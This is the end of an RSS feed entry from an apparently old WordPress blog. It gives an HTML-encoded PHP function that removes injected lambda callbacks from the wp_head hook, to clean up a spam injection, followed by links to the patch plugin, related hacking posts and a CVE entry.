 &#42;&#47;
function remove_create_function_action&#40;&#41;
&#123; global &#36;wp_filter&#59;

	&#36;action_ref	&#61; &#39;wp_head&#39;&#59;
	&#36;filter 	&#61; &#36;wp_filter&#91;&#36;action_ref&#93;&#59;
	&#36;_lambda	&#61; array&#40;&#41;&#59;

	foreach&#40;range&#40;1&#44;10&#41; as &#36;priority&#41;&#123;

		if &#40;isset&#40;&#36;filter&#91;&#36;priority&#93;&#41;&#41;
		&#123;
			foreach&#40;&#36;filter&#91;&#36;priority&#93; as &#36;registered_filter &#41;&#123;

				&#36;callback &#61; &#40;string&#41; &#36;registered_filter&#91;&#39;function&#39;&#93;&#59;

				if &#40; preg_match&#40;&#34;&#47;lambda&#47;&#34;&#44; &#36;callback&#41; &#41; &#123;
		 	 		&#36;_lambda&#91;&#36;priority&#93;&#91;&#93; &#61; &#36;callback&#59;
				&#125;
			&#125;

		&#125;
	&#125;

	if &#40; count&#40;&#36;_lambda&#41; &#62;&#61; 0 &#41;&#123;

		foreach&#40;&#36;_lambda as &#36;priority &#61;&#62; &#36;callback&#41; &#123;
			if &#40; has_filter&#40;&#36;action_ref&#44;&#36;callback&#41; &#41;&#123;
				remove_filter&#40;&#36;action_ref&#44; &#36;callback&#44; &#36;priority&#44; 1&#41;&#59;
			&#125;
		&#125;
	&#125;
&#125;

add_action&#40;&#39;init&#39;&#44;&#39;remove_create_function_action&#39;&#41;&#59;
</pre>
<p>The plugin&#8217;s can be download at <a href="http://blog.kaizeku.com/wordpress/goro-spam-injection-wp-head-patch/">Kaizeku Ban, goro spam injection fixes</a></p>
<h2 class="cb mgb-" id="rel-links">Related Posts</h2>
<ul class="xoxo exturl">
<li><a href="/wordpress/bluehost-hostmonster-ceo-blog-got-hacked" title="Bluehost HostMonster CEO Blog hacked (wordpress.net.in)" rev="site:related" rel="archive" class="inturl">Bluehost HostMonster CEO&#8217;s Blog hacked (wordpress.net.in)</a></li>
<li><a href="/wordpress/mattheaton-bluehost-hostmonster-ceo-hacked/" title="Matt Heaton Bluehost Hostmonster CEOs Hacked Again - Strike II" rev="site:related" rel="archive" class="inturl">Matt Heaton Bluehost Hostmonster CEO&#8217;s Hacked Again - Strike II</a></li>
</ul>
<h2 class="cb mgt mgb-" id="extt-links">External Links</h2>
<ul class="xoxo exturl">
<li><a rel="nofollow robots-nofollow" href="http://web-sniffer.net/">Websniffer View HTTP Request and Response Header</a></li>
<li><a rel="nofollow robots-nofollow" href="/uri/d29yZHByZXNzLm9yZy9zdXBwb3J0L3RvcGljLzE0NTg4MQ.curie,80,302">Wordpress Support Forum</a></li>
<li><a rel="nofollow" href="http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-4743" rel="external" rev="nist:nvd">National Vulnerability Database Wordpress 2.0 > 2.0.6</a></li>
</ul>
<h3 class="cb mgt title-">Short URL</h3>
<ul class="xoxo dn">
<li>
<input type="text" size="40" class="on-click-select" value="http://blog.kakkoi.net/ref/fixwpblackhatspam" /></li>
</ul>
<!-- google_ad_section_end -->
]]></content:encoded>
			<wfw:commentRss>http://42.kaizeku.com/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
